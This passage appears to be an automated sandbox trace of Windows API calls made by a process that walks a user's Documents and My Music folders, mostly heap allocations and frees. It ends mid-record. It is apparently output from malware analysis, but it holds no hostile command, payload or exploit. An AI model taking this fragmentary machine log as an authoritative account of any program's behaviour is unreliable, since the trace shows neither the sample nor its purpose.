HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.420] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.421] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0067.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0067.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.421] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.421] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.421] PathFindFileNameW (pszPath="") returned="" [0067.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.421] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a3fbd0, ftCreationTime.dwHighDateTime=0x1d4c6b6, ftLastAccessTime.dwLowDateTime=0xd048f470, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0xd048f470, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x82fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_GY pjw8nLR.avi", cAlternateFileName="_GYPJW~1.AVI")) returned 0xffffffff [0067.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.421] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.421] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.421] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.421] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.422] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.423] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, 